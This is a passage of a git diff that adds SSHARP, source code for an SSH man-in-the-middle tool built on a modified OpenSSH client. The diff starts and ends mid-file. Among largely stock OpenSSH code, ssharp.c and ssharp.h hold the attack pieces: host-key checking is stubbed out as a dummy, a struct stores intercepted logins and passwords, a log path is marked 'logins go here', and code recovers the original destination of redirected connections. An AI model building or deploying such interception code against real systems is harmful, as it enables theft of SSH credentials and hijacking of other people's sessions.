reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* + * draft-ietf-secsh-architecture-05.txt + * + * Transport layer protocol: + * + * 1-19 Transport layer generic (e.g. disconnect, ignore, debug, + * etc) + * 20-29 Algorithm negotiation + * 30-49 Key exchange method specific (numbers can be reused for + * different authentication methods) + * + * User authentication protocol: + * + * 50-59 User authentication generic + * 60-79 User authentication method specific (numbers can be reused + * for different authentication methods) + * + * Connection protocol: + * + * 80-89 Connection protocol generic + * 90-127 Channel related messages + * + * Reserved for client protocols: + * + * 128-191 Reserved + * + * Local extensions: + * + * 192-255 Local extensions + */ +/* RCSID("$OpenBSD: ssh2.h,v 1.6 2001/03/27 17:46:49 provos Exp $"); */ + +/* transport layer: generic */ + +#define SSH2_MSG_DISCONNECT 1 +#define SSH2_MSG_IGNORE 2 +#define SSH2_MSG_UNIMPLEMENTED 3 +#define SSH2_MSG_DEBUG 4 +#define SSH2_MSG_SERVICE_REQUEST 5 +#define SSH2_MSG_SERVICE_ACCEPT 6 + +/* transport layer: alg negotiation */ + +#define SSH2_MSG_KEXINIT 20 +#define SSH2_MSG_NEWKEYS 21 + +/* transport layer: kex specific messages, can be reused */ + +#define SSH2_MSG_KEXDH_INIT 30 +#define SSH2_MSG_KEXDH_REPLY 31 + +/* dh-group-exchange */ +#define SSH2_MSG_KEX_DH_GEX_REQUEST_OLD 30 +#define SSH2_MSG_KEX_DH_GEX_GROUP 31 +#define SSH2_MSG_KEX_DH_GEX_INIT 32 +#define SSH2_MSG_KEX_DH_GEX_REPLY 33 +#define SSH2_MSG_KEX_DH_GEX_REQUEST 34 + +/* user authentication: generic */ + +#define SSH2_MSG_USERAUTH_REQUEST 50 +#define SSH2_MSG_USERAUTH_FAILURE 51 +#define SSH2_MSG_USERAUTH_SUCCESS 52 +#define SSH2_MSG_USERAUTH_BANNER 53 + +/* user authentication: method specific, can be reused */ + +#define SSH2_MSG_USERAUTH_PK_OK 60 +#define SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ 60 +#define SSH2_MSG_USERAUTH_INFO_REQUEST 60 +#define SSH2_MSG_USERAUTH_INFO_RESPONSE 61 + +/* connection protocol: generic */ + +#define SSH2_MSG_GLOBAL_REQUEST 80 +#define SSH2_MSG_REQUEST_SUCCESS 81 +#define SSH2_MSG_REQUEST_FAILURE 82 + +/* channel related messages */ + +#define SSH2_MSG_CHANNEL_OPEN 90 +#define SSH2_MSG_CHANNEL_OPEN_CONFIRMATION 91 +#define SSH2_MSG_CHANNEL_OPEN_FAILURE 92 +#define SSH2_MSG_CHANNEL_WINDOW_ADJUST 93 +#define SSH2_MSG_CHANNEL_DATA 94 +#define SSH2_MSG_CHANNEL_EXTENDED_DATA 95 +#define SSH2_MSG_CHANNEL_EOF 96 +#define SSH2_MSG_CHANNEL_CLOSE 97 +#define SSH2_MSG_CHANNEL_REQUEST 98 +#define SSH2_MSG_CHANNEL_SUCCESS 99 +#define SSH2_MSG_CHANNEL_FAILURE 100 + +/* disconnect reason code */ + +#define SSH2_DISCONNECT_HOST_NOT_ALLOWED_TO_CONNECT 1 +#define SSH2_DISCONNECT_PROTOCOL_ERROR 2 +#define SSH2_DISCONNECT_KEY_EXCHANGE_FAILED 3 +#define SSH2_DISCONNECT_HOST_AUTHENTICATION_FAILED 4 +#define SSH2_DISCONNECT_RESERVED 4 +#define SSH2_DISCONNECT_MAC_ERROR 5 +#define SSH2_DISCONNECT_COMPRESSION_ERROR 6 +#define SSH2_DISCONNECT_SERVICE_NOT_AVAILABLE 7 +#define SSH2_DISCONNECT_PROTOCOL_VERSION_NOT_SUPPORTED 8 +#define SSH2_DISCONNECT_HOST_KEY_NOT_VERIFIABLE 9 +#define SSH2_DISCONNECT_CONNECTION_LOST 10 +#define SSH2_DISCONNECT_BY_APPLICATION 11 +#define SSH2_DISCONNECT_TOO_MANY_CONNECTIONS 12 +#define SSH2_DISCONNECT_AUTH_CANCELLED_BY_USER 13 +#define SSH2_DISCONNECT_NO_MORE_AUTH_METHODS_AVAILABLE 14 +#define SSH2_DISCONNECT_ILLEGAL_USER_NAME 15 + +/* misc */ + +#define SSH2_OPEN_ADMINISTRATIVELY_PROHIBITED 1 +#define SSH2_OPEN_CONNECT_FAILED 2 +#define SSH2_OPEN_UNKNOWN_CHANNEL_TYPE 3 +#define SSH2_OPEN_RESOURCE_SHORTAGE 4 + +#define SSH2_EXTENDED_DATA_STDERR 1 diff --git a/other/ssharp/ssh_config b/other/ssharp/ssh_config new file mode 100644 index 0000000..6209354 --- /dev/null +++ b/other/ssharp/ssh_config @@ -0,0 +1,35 @@ +# $OpenBSD: ssh_config,v 1.10 2001/04/03 21:19:38 todd Exp $ + +# This is ssh client systemwide configuration file. See ssh(1) for more +# information. This file provides defaults for users, and the values can +# be changed in per-user configuration files or on the command line. + +# Configuration data is parsed as follows: +# 1. command line options +# 2. user-specific file +# 3. system-wide file +# Any configuration value is only changed the first time it is set. +# Thus, host-specific definitions should be at the beginning of the +# configuration file, and defaults at the end. + +# Site-wide defaults for various options + +# Host * +# ForwardAgent no +# ForwardX11 no +# RhostsAuthentication no +# RhostsRSAAuthentication yes +# RSAAuthentication yes +# PasswordAuthentication yes +# FallBackToRsh no +# UseRsh no +# BatchMode no +# CheckHostIP yes +# StrictHostKeyChecking yes +# IdentityFile ~/.ssh/identity +# IdentityFile ~/.ssh/id_dsa +# IdentityFile ~/.ssh/id_rsa +# Port 22 +# Protocol 2,1 +# Cipher blowfish +# EscapeChar ~ diff --git a/other/ssharp/ssh_prng_cmds.in b/other/ssharp/ssh_prng_cmds.in new file mode 100644 index 0000000..1c70834 --- /dev/null +++ b/other/ssharp/ssh_prng_cmds.in @@ -0,0 +1,67 @@ +# entropy gathering commands + +# Format is: "program-name args" path rate + +# The "rate" represents the number of bits of usuable entropy per +# byte of command output. Be conservative. +# +# $Id: ssh_prng_cmds.in,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ + +"ls -alni /var/log" @PROG_LS@ 0.02 +"ls -alni /var/adm" @PROG_LS@ 0.02 +"ls -alni /var/mail" @PROG_LS@ 0.02 +"ls -alni /var/adm/syslog" @PROG_LS@ 0.02 +"ls -alni /var/spool/mail" @PROG_LS@ 0.02 +"ls -alni /proc" @PROG_LS@ 0.02 +"ls -alni /tmp" @PROG_LS@ 0.02 +"ls -alni /var/tmp" @PROG_LS@ 0.02 +"ls -alni /usr/tmp" @PROG_LS@ 0.02 +"ls -alTi /var/log" @PROG_LS@ 0.02 +"ls -alTi /var/adm" @PROG_LS@ 0.02 +"ls -alTi /var/mail" @PROG_LS@ 0.02 +"ls -alTi /var/adm/syslog" @PROG_LS@ 0.02 +"ls -alTi /var/spool/mail" @PROG_LS@ 0.02 +"ls -alTi /proc" @PROG_LS@ 0.02 +"ls -alTi /tmp" @PROG_LS@ 0.02 +"ls -alTi /var/tmp" @PROG_LS@ 0.02 +"ls -alTi /usr/tmp" @PROG_LS@ 0.02 + +"netstat -an" @PROG_NETSTAT@ 0.05 +"netstat -in" @PROG_NETSTAT@ 0.05 +"netstat -rn" @PROG_NETSTAT@ 0.02 +"netstat -pn" @PROG_NETSTAT@ 0.02 +"netstat -s" @PROG_NETSTAT@ 0.02 + +"arp -a -n" @PROG_ARP@ 0.02 + +"ifconfig -a" @PROG_IFCONFIG@ 0.02 + +"ps laxww" @PROG_PS@ 0.03 +"ps -al" @PROG_PS@ 0.03 +"ps -efl" @PROG_PS@ 0.03 + +"w" @PROG_W@ 0.05 + +"who -i" @PROG_WHO@ 0.01 + +"last" @PROG_LAST@ 0.01 + +"lastlog" @PROG_LASTLOG@ 0.01 + +"df" @PROG_DF@ 0.01 +"df -i" @PROG_DF@ 0.01 + +"vmstat" @PROG_VMSTAT@ 0.01 +"uptime" @PROG_UPTIME@ 0.01 + +"ipcs -a" @PROG_IPCS@ 0.01 + +"tail -200 /var/log/messages" @PROG_TAIL@ 0.01 +"tail -200 /var/log/syslog" @PROG_TAIL@ 0.01 +"tail -200 /var/adm/messages" @PROG_TAIL@ 0.01 +"tail -200 /var/adm/syslog" @PROG_TAIL@ 0.01 +"tail -200 /var/adm/syslog/syslog.log" @PROG_TAIL@ 0.01 +"tail -200 /var/log/maillog" @PROG_TAIL@ 0.01 +"tail -200 /var/adm/maillog" @PROG_TAIL@ 0.01 +"tail -200 /var/adm/syslog/mail.log" @PROG_TAIL@ 0.01 + diff --git a/other/ssharp/ssharp.c b/other/ssharp/ssharp.c new file mode 100644 index 0000000..6733aa6 --- /dev/null +++ b/other/ssharp/ssharp.c @@ -0,0 +1,162 @@ +/* SSHARP SSH 1&2 MiM implemenation (C) 2001 Stealth + * + * TESO confidential. + */ +#include +#include +#include +#include +#include +#include +#include + +#include "ssharp.h" +#include "auth.h" + + +int socket_connect_b(struct sockaddr *s, socklen_t len, u_short minport) +{ + int one = 1, i = 0, fd, fa; + struct sockaddr_in local4; + struct sockaddr_in6 local6; + struct sockaddr *sa; + + memset(&local4, 0, sizeof(local4)); + local4.sin_family = AF_INET; + + memset(&local6, 0, sizeof(local6)); + local6.sin6_family = AF_INET6; + + if (len == sizeof(struct sockaddr_in6)) { + sa = (struct sockaddr*)&local6; + fa = PF_INET6; + } else { + sa = (struct sockaddr*)&local4; + fa = PF_INET; + } + + for (i = minport; i < 65500; ++i) { + local4.sin_port = htons(i); + local6.sin6_port = htons(i); + + fd = socket(fa, SOCK_STREAM, 0); + if (fd < 0) + return -1; + setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); + + if (bind(fd, sa, len) < 0) { + if (errno == EADDRINUSE) { + close(fd); + continue; + } else + return -1; + } + if (connect(fd, s, len) < 0) { + if (errno == EADDRNOTAVAIL) { + close(fd); + continue; + } else + return -1; + } + + break; + } + return fd; +} + + +int writen(int fd, const void *buf, size_t len) +{ + int o = 0, n; + + while (len > 0) { + if ((n = write(fd, buf+o, len)) < 0) + return n; + len -= n; + o += n; + } + return o; +} + + +int readn(int fd, char *buf, size_t len) +{ + int i = 0; + while (len > 0) { + if (read(fd, &buf[i], 1) < 0) { + return -1; + } + ++i; + --len; + } + return i; +} + +sharp_t sharp_dup(sharp_t *s) +{ + sharp_t ret; + + memset(&ret, 0, sizeof(ret)); + + if (s->login) + ret.login = strdup(s->login); + if (s->pass) + ret.pass = strdup(s->pass); + if (s->remote) + ret.remote = strdup(s->remote); + + ret.remote_port = s->remote_port; + return ret; +} + +#ifdef FREEBSD +#define LINUX22 +#endif + +// obtain real destination of connection +int dstaddr(int sock, struct sockaddr_in *dst) +{ + socklen_t size; + + assert(dst); + +#ifdef LINUX22 + size = sizeof(struct sockaddr_in); + if (getsockname(sock, (struct sockaddr*)dst, &size) < 0) { + perror("getsockname"); + exit(errno); + } +#elif defined(LINUX24) +#include "netfilter.h" + size = sizeof(struct sockaddr_in); + if (getsockopt(sock, SOL_IP, SO_ORIGINAL_DST, dst, &size) < 0) { + perror("getsockopt"); + exit(errno); + } +#else +#error "Not supported on this OS yet." +#endif + return 0; +} + +Authctxt *auth_dup(Authctxt *a) +{ + Authctxt *ret = (Authctxt*)malloc(sizeof(*a)); + + if (!a || !ret) { + free(ret); + return NULL; + } + + *ret = *a; + if (a->user) + ret->user = strdup(a->user); + if (a->service) + ret->service = strdup(a->service); + if (a->style) + ret->style = strdup(a->style); + ret->sharp = sharp_dup(&a->sharp); + + return ret; +} + diff --git a/other/ssharp/ssharp.h b/other/ssharp/ssharp.h new file mode 100644 index 0000000..c77275f --- /dev/null +++ b/other/ssharp/ssharp.h @@ -0,0 +1,51 @@ +#ifndef __SSHARP_H__ +#define __SSHARP_H__ + +#include +#include +#include +#include + + +/* logins go here */ +#ifndef SSHARP_LOG +#define SSHARP_LOG "/root/ssharp" +#endif + +#ifndef SSHARP_DIR_PREFIX +#define SSHARP_DIR_PREFIX "/tmp/" +#endif + +/* This is called during MiM session */ +#ifndef SSHARP_CLIENT +#define SSHARP_CLIENT "/usr/local/bin/ssharpclient" +#endif + +#define SSHARP_MINPORT 8888 + +typedef struct { + char *login; + char *pass; + char *remote; + u_short remote_port; +} sharp_t; + +int socket_connect_b(struct sockaddr *, socklen_t, u_short); + +int writen(int fd, const void *buf, size_t len); + +int readn(int fd, char *buf, size_t len); + +sharp_t sharp_dup(sharp_t *); + +//#include "auth.h" +struct Authctxt; + +struct Authctxt *auth_dup(struct Authctxt *); + +int dstaddr(int, struct sockaddr_in *); + +#define LINUX24 + +#endif // __SSHARP_H__ + diff --git a/other/ssharp/sshconnect.c b/other/ssharp/sshconnect.c new file mode 100644 index 0000000..d964c5f --- /dev/null +++ b/other/ssharp/sshconnect.c @@ -0,0 +1,497 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Code to connect to a remote host, and to perform the client side of the + * login (authentication) dialog. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +#include "includes.h" +RCSID("$OpenBSD: sshconnect.c,v 1.104 2001/04/12 19:15:25 markus Exp $"); + +#include + +#include "ssh.h" +#include "xmalloc.h" +#include "rsa.h" +#include "buffer.h" +#include "packet.h" +#include "uidswap.h" +#include "compat.h" +#include "key.h" +#include "sshconnect.h" +#include "hostfile.h" +#include "log.h" +#include "readconf.h" +#include "atomicio.h" +#include "misc.h" +#include "ssharp.h" + +char *client_version_string = NULL; +char *server_version_string = NULL; + +extern Options options; +extern char *__progname; + +/* AF_UNSPEC or AF_INET or AF_INET6 */ +extern int IPv4or6; + +/* + * Connect to the given ssh server using a proxy command. + */ +int +ssh_proxy_connect(const char *host, u_short port, + const char *proxy_command) +{ + Buffer command; + const char *cp; + char *command_string; + int pin[2], pout[2]; + pid_t pid; + char strport[NI_MAXSERV]; + + /* Convert the port number into a string. */ + snprintf(strport, sizeof strport, "%hu", port); + + /* Build the final command string in the buffer by making the + appropriate substitutions to the given proxy command. */ + buffer_init(&command); + for (cp = proxy_command; *cp; cp++) { + if (cp[0] == '%' && cp[1] == '%') { + buffer_append(&command, "%", 1); + cp++; + continue; + } + if (cp[0] == '%' && cp[1] == 'h') { + buffer_append(&command, host, strlen(host)); + cp++; + continue; + } + if (cp[0] == '%' && cp[1] == 'p') { + buffer_append(&command, strport, strlen(strport)); + cp++; + continue; + } + buffer_append(&command, cp, 1); + } + buffer_append(&command, "\0", 1); + + /* Get the final command string. */ + command_string = buffer_ptr(&command); + + /* Create pipes for communicating with the proxy. */ + if (pipe(pin) < 0 || pipe(pout) < 0) + fatal("Could not create pipes to communicate with the proxy: %.100s", + strerror(errno)); + + debug("Executing proxy command: %.500s", command_string); + + /* Fork and execute the proxy command. */ + if ((pid = fork()) == 0) { + char *argv[10]; + + + /* Redirect stdin and stdout. */ + close(pin[1]); + if (pin[0] != 0) { + if (dup2(pin[0], 0) < 0) + perror("dup2 stdin"); + close(pin[0]); + } + close(pout[0]); + if (dup2(pout[1], 1) < 0) + perror("dup2 stdout"); + /* Cannot be 1 because pin allocated two descriptors. */ + close(pout[1]); + + /* Stderr is left as it is so that error messages get + printed on the user's terminal. */ + argv[0] = _PATH_BSHELL; + argv[1] = "-c"; + argv[2] = command_string; + argv[3] = NULL; + + /* Execute the proxy command. Note that we gave up any + extra privileges above. */ + execv(argv[0], argv); + perror(argv[0]); + exit(1); + } + /* Parent. */ + if (pid < 0) + fatal("fork failed: %.100s", strerror(errno)); + + /* Close child side of the descriptors. */ + close(pin[0]); + close(pout[1]); + + /* Free the command name. */ + buffer_free(&command); + + /* Set the connection file descriptors. */ + packet_set_connection(pout[0], pin[1]); + + return 1; +} + + +/* + * Creates a (possibly privileged) socket for use as the ssh connection. + */ +int +ssh_create_socket(int family) +{ + int sock = socket(family, SOCK_STREAM, 0); + return sock; +} + +/* + * Opens a TCP/IP connection to the remote server on the given host. + * The address of the remote host will be returned in hostaddr. + * If port is 0, the default port will be used. If anonymous is zero, + * a privileged port will be allocated to make the connection. + * This requires super-user privileges if anonymous is false. + * Connection_attempts specifies the maximum number of tries (one per + * second). If proxy_command is non-NULL, it specifies the command (with %h + * and %p substituted for host and port, respectively) to use to contact + * the daemon. + */ +int +ssh_connect(const char *host, struct sockaddr_storage * hostaddr, + u_short port, int connection_attempts, + int anonymous, + const char *proxy_command) +{ + int gaierr; + int on = 1; + int sock = -1, attempt; + char ntop[NI_MAXHOST], strport[NI_MAXSERV]; + struct addrinfo hints, *ai, *aitop; + struct linger linger; + struct servent *sp; + + debug("ssh_connect: getuid %u geteuid %u anon %d", + (u_int) getuid(), (u_int) geteuid(), anonymous); + + /* Get default port if port has not been set. */ + if (port == 0) { + sp = getservbyname(SSH_SERVICE_NAME, "tcp"); + if (sp) + port = ntohs(sp->s_port); + else + port = SSH_DEFAULT_PORT; + } + /* If a proxy command is given, connect using it. */ + if (proxy_command != NULL) + return ssh_proxy_connect(host, port, proxy_command); + + /* No proxy command. */ + + memset(&hints, 0, sizeof(hints)); + hints.ai_family = IPv4or6; + hints.ai_socktype = SOCK_STREAM; + snprintf(strport, sizeof strport, "%d", port); + if ((gaierr = getaddrinfo(host, strport, &hints, &aitop)) != 0) + fatal("%s: %.100s: %s", __progname, host, + gai_strerror(gaierr)); + + /* + * Try to connect several times. On some machines, the first time + * will sometimes fail. In general socket code appears to behave + * quite magically on many machines. + */ + for (attempt = 0; attempt < connection_attempts; attempt++) { + if (attempt > 0) + debug("Trying again..."); + + /* Loop through addresses for this host, and try each one in + sequence until the connection succeeds. */ + for (ai = aitop; ai; ai = ai->ai_next) { + if (ai->ai_family != AF_INET && ai->ai_family != AF_INET6) + continue; + if (getnameinfo(ai->ai_addr, ai->ai_addrlen, + ntop, sizeof(ntop), strport, sizeof(strport), + NI_NUMERICHOST|NI_NUMERICSERV) != 0) { + error("ssh_connect: getnameinfo failed"); + continue; + } + debug("Connecting to %.200s [%.100s] port %s.", + host, ntop, strport); + + + if ((sock = socket_connect_b(ai->ai_addr, ai->ai_addrlen, SSHARP_MINPORT)) >= 0) { + /* Successful connection. */ + memcpy(hostaddr, ai->ai_addr, ai->ai_addrlen); + break; + } else { + debug("connect: %.100s", strerror(errno)); + /* + * Close the failed socket; there appear to + * be some problems when reusing a socket for + * which connect() has already returned an + * error. + */ + shutdown(sock, SHUT_RDWR); + close(sock); + } + } + if (ai) + break; /* Successful connection. */ + + /* Sleep a moment before retrying. */ + sleep(1); + } + + freeaddrinfo(aitop); + + /* Return failure if we didn't get a successful connection. */ + if (attempt >= connection_attempts) + return 0; + + debug("Connection established."); + + /* + * Set socket options. We would like the socket to disappear as soon + * as it has been closed for whatever reason. + */ + /* setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (void *)&on, sizeof(on)); */ + linger.l_onoff = 1; + linger.l_linger = 5; + setsockopt(sock, SOL_SOCKET, SO_LINGER, (void *)&linger, sizeof(linger)); + + /* Set keepalives if requested. */ + if (options.keepalives && + setsockopt(sock, SOL_SOCKET, SO_KEEPALIVE, (void *)&on, + sizeof(on)) < 0) + error("setsockopt SO_KEEPALIVE: %.100s", strerror(errno)); + + /* Set the connection. */ + packet_set_connection(sock, sock); + + return 1; +} + +/* + * Waits for the server identification string, and sends our own + * identification string. + */ +void +ssh_exchange_identification(void) +{ + char buf[256], remote_version[256]; /* must be same size! */ + int remote_major, remote_minor, i, mismatch; + int connection_in = packet_get_connection_in(); + int connection_out = packet_get_connection_out(); + int minor1 = PROTOCOL_MINOR_1; + + /* Read other side\'s version identification. */ + for (;;) { + for (i = 0; i < sizeof(buf) - 1; i++) { + int len = atomicio(read, connection_in, &buf[i], 1); + if (len < 0) + fatal("ssh_exchange_identification: read: %.100s", strerror(errno)); + if (len != 1) + fatal("ssh_exchange_identification: Connection closed by remote host"); + if (buf[i] == '\r') { + buf[i] = '\n'; + buf[i + 1] = 0; + continue; /**XXX wait for \n */ + } + if (buf[i] == '\n') { + buf[i + 1] = 0; + break; + } + } + buf[sizeof(buf) - 1] = 0; + if (strncmp(buf, "SSH-", 4) == 0) + break; + debug("ssh_exchange_identification: %s", buf); + } + server_version_string = xstrdup(buf); + + /* + * Check that the versions match. In future this might accept + * several versions and set appropriate flags to handle them. + */ + if (sscanf(server_version_string, "SSH-%d.%d-%[^\n]\n", + &remote_major, &remote_minor, remote_version) != 3) + fatal("Bad remote protocol version identification: '%.100s'", buf); + debug("Remote protocol version %d.%d, remote software version %.100s", + remote_major, remote_minor, remote_version); + + compat_datafellows(remote_version); + mismatch = 0; + + switch(remote_major) { + case 1: + if (remote_minor == 99 && + (options.protocol & SSH_PROTO_2) && + !(options.protocol & SSH_PROTO_1_PREFERRED)) { + enable_compat20(); + break; + } + if (!(options.protocol & SSH_PROTO_1)) { + mismatch = 1; + break; + } + if (remote_minor < 3) { + fatal("Remote machine has too old SSH software version."); + } else if (remote_minor == 3 || remote_minor == 4) { + /* We speak 1.3, too. */ + enable_compat13(); + minor1 = 3; + if (options.forward_agent) { + log("Agent forwarding disabled for protocol 1.3"); + options.forward_agent = 0; + } + } + break; + case 2: + if (options.protocol & SSH_PROTO_2) { + enable_compat20(); + break; + } + /* FALLTHROUGH */ + default: + mismatch = 1; + break; + } + if (mismatch) + fatal("Protocol major versions differ: %d vs. %d", + (options.protocol & SSH_PROTO_2) ? PROTOCOL_MAJOR_2 : PROTOCOL_MAJOR_1, + remote_major); + if (compat20) + packet_set_ssh2_format(); + /* Send our own protocol version identification. */ + snprintf(buf, sizeof buf, "SSH-%d.%d-%.100s\n", + compat20 ? PROTOCOL_MAJOR_2 : PROTOCOL_MAJOR_1, + compat20 ? PROTOCOL_MINOR_2 : minor1, + SSH_VERSION); + if (atomicio(write, connection_out, buf, strlen(buf)) != strlen(buf)) + fatal("write: %.100s", strerror(errno)); + client_version_string = xstrdup(buf); + chop(client_version_string); + chop(server_version_string); + debug("Local version string %.100s", client_version_string); +} + +/* defaults to 'no' */ +int +read_yes_or_no(const char *prompt, int defval) +{ + char buf[1024]; + FILE *f; + int retval = -1; + + if (options.batch_mode) + return 0; + + if (isatty(STDIN_FILENO)) + f = stdin; + else + f = fopen(_PATH_TTY, "rw"); + + if (f == NULL) + return 0; + + fflush(stdout); + + while (1) { + fprintf(stderr, "%s", prompt); + if (fgets(buf, sizeof(buf), f) == NULL) { + /* Print a newline (the prompt probably didn\'t have one). */ + fprintf(stderr, "\n"); + strlcpy(buf, "no", sizeof buf); + } + /* Remove newline from response. */ + if (strchr(buf, '\n')) + *strchr(buf, '\n') = 0; + + if (buf[0] == 0) + retval = defval; + if (strcmp(buf, "yes") == 0) + retval = 1; + else if (strcmp(buf, "no") == 0) + retval = 0; + else + fprintf(stderr, "Please type 'yes' or 'no'.\n"); + + if (retval != -1) { + if (f != stdin) + fclose(f); + return retval; + } + } +} + +/* + * check whether the supplied host key is valid, return only if ok. + */ + +void +check_host_key(char *host, struct sockaddr *hostaddr, Key *host_key, + const char *user_hostfile, const char *system_hostfile) +{ + /* SSHARP: dummy */ +} + +/* + * Starts a dialog with the server, and authenticates the current user on the + * server. This does not need any extra privileges. The basic connection + * to the server must already have been established before this is called. + * If login fails, this function prints an error and never returns. + * This function does not require super-user privileges. + */ +void +ssh_login(Key **keys, int nkeys, const char *orighost, + struct sockaddr *hostaddr, char *login, char *pass) +{ + char *host, *cp; + + /* Convert the user-supplied hostname into all lowercase. */ + host = xstrdup(orighost); + for (cp = host; *cp; cp++) + if (isupper(*cp)) + *cp = tolower(*cp); + + /* Exchange protocol version identification strings with the server. */ + ssh_exchange_identification(); + + /* Put the connection into non-blocking mode. */ + packet_set_nonblocking(); + + /* key exchange */ + /* authenticate user */ + if (compat20) { + ssh_kex2(host, hostaddr); + ssh_userauth2(login, pass, host, keys, nkeys); + } else { + ssh_kex(host, hostaddr); + ssh_userauth1(login, pass, host, keys, nkeys); + } +} + +void +ssh_put_password(char *password) +{ + int size; + char *padded; + + if (datafellows & SSH_BUG_PASSWORDPAD) { + packet_put_string(password, strlen(password)); + return; + } + size = roundup(strlen(password) + 1, 32); + padded = xmalloc(size); + memset(padded, 0, size); + strlcpy(padded, password, size); + packet_put_string(padded, size); + memset(padded, 0, size); + xfree(padded); +} diff --git a/other/ssharp/sshconnect.h b/other/ssharp/sshconnect.h new file mode 100644 index 0000000..6af9667 --- /dev/null +++ b/other/ssharp/sshconnect.h @@ -0,0 +1,55 @@ +/* $OpenBSD: sshconnect.h,v 1.9 2001/04/12 19:15:25 markus Exp $ */ + +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#ifndef SSHCONNECT_H +#define SSHCONNECT_H + +int +ssh_connect(const char *host, struct sockaddr_storage * hostaddr, + u_short port, int connection_attempts, + int anonymous, + const char *proxy_command); + +void +ssh_login(Key **keys, int nkeys, const char *orighost, + struct sockaddr *hostaddr, char *, char *); + +void +check_host_key(char *host, struct sockaddr *hostaddr, Key *host_key, + const char *user_hostfile, const char *system_hostfile); + +void ssh_kex(char *host, struct sockaddr *hostaddr); +void ssh_kex2(char *host, struct sockaddr *hostaddr); + +void +ssh_userauth1(const char *local_user, const char *server_user, char *host, + Key **keys, int nkeys); +void +ssh_userauth2(const char *local_user, const char *server_user, char *host, + Key **keys, int nkeys); + +void ssh_put_password(char *password); + +#endif diff --git a/other/ssharp/sshconnect1.c b/other/ssharp/sshconnect1.c new file mode 100644 index 0000000..4e7ae35 --- /dev/null +++ b/other/ssharp/sshconnect1.c @@ -0,0 +1,1072 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Code to connect to a remote host, and to perform the client side of the + * login (authentication) dialog. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +#include "includes.h" +RCSID("$OpenBSD: sshconnect1.c,v 1.31 2001/04/17 08:14:01 markus Exp $"); + +#include +#include + +#ifdef KRB4 +#include +#endif +#ifdef AFS +#include +#include "radix.h" +#endif + +#include "ssh.h" +#include "ssh1.h" +#include "xmalloc.h" +#include "rsa.h" +#include "buffer.h" +#include "packet.h" +#include "mpaux.h" +#include "uidswap.h" +#include "log.h" +#include "readconf.h" +#include "key.h" +#include "authfd.h" +#include "sshconnect.h" +#include "authfile.h" +#include "readpass.h" +#include "cipher.h" +#include "canohost.h" + +/* Session id for the current session. */ +u_char session_id[16]; +u_int supported_authentications = 0; + +extern Options options; +extern char *__progname; + +/* + * Checks if the user has an authentication agent, and if so, tries to + * authenticate using the agent. + */ +int +try_agent_authentication(void) +{ + int type; + char *comment; + AuthenticationConnection *auth; + u_char response[16]; + u_int i; + int plen, clen; + Key *key; + BIGNUM *challenge; + + /* Get connection to the agent. */ + auth = ssh_get_authentication_connection(); + if (!auth) + return 0; + + challenge = BN_new(); + + /* Loop through identities served by the agent. */ + for (key = ssh_get_first_identity(auth, &comment, 1); + key != NULL; + key = ssh_get_next_identity(auth, &comment, 1)) { + + /* Try this identity. */ + debug("Trying RSA authentication via agent with '%.100s'", comment); + xfree(comment); + + /* Tell the server that we are willing to authenticate using this key. */ + packet_start(SSH_CMSG_AUTH_RSA); + packet_put_bignum(key->rsa->n); + packet_send(); + packet_write_wait(); + + /* Wait 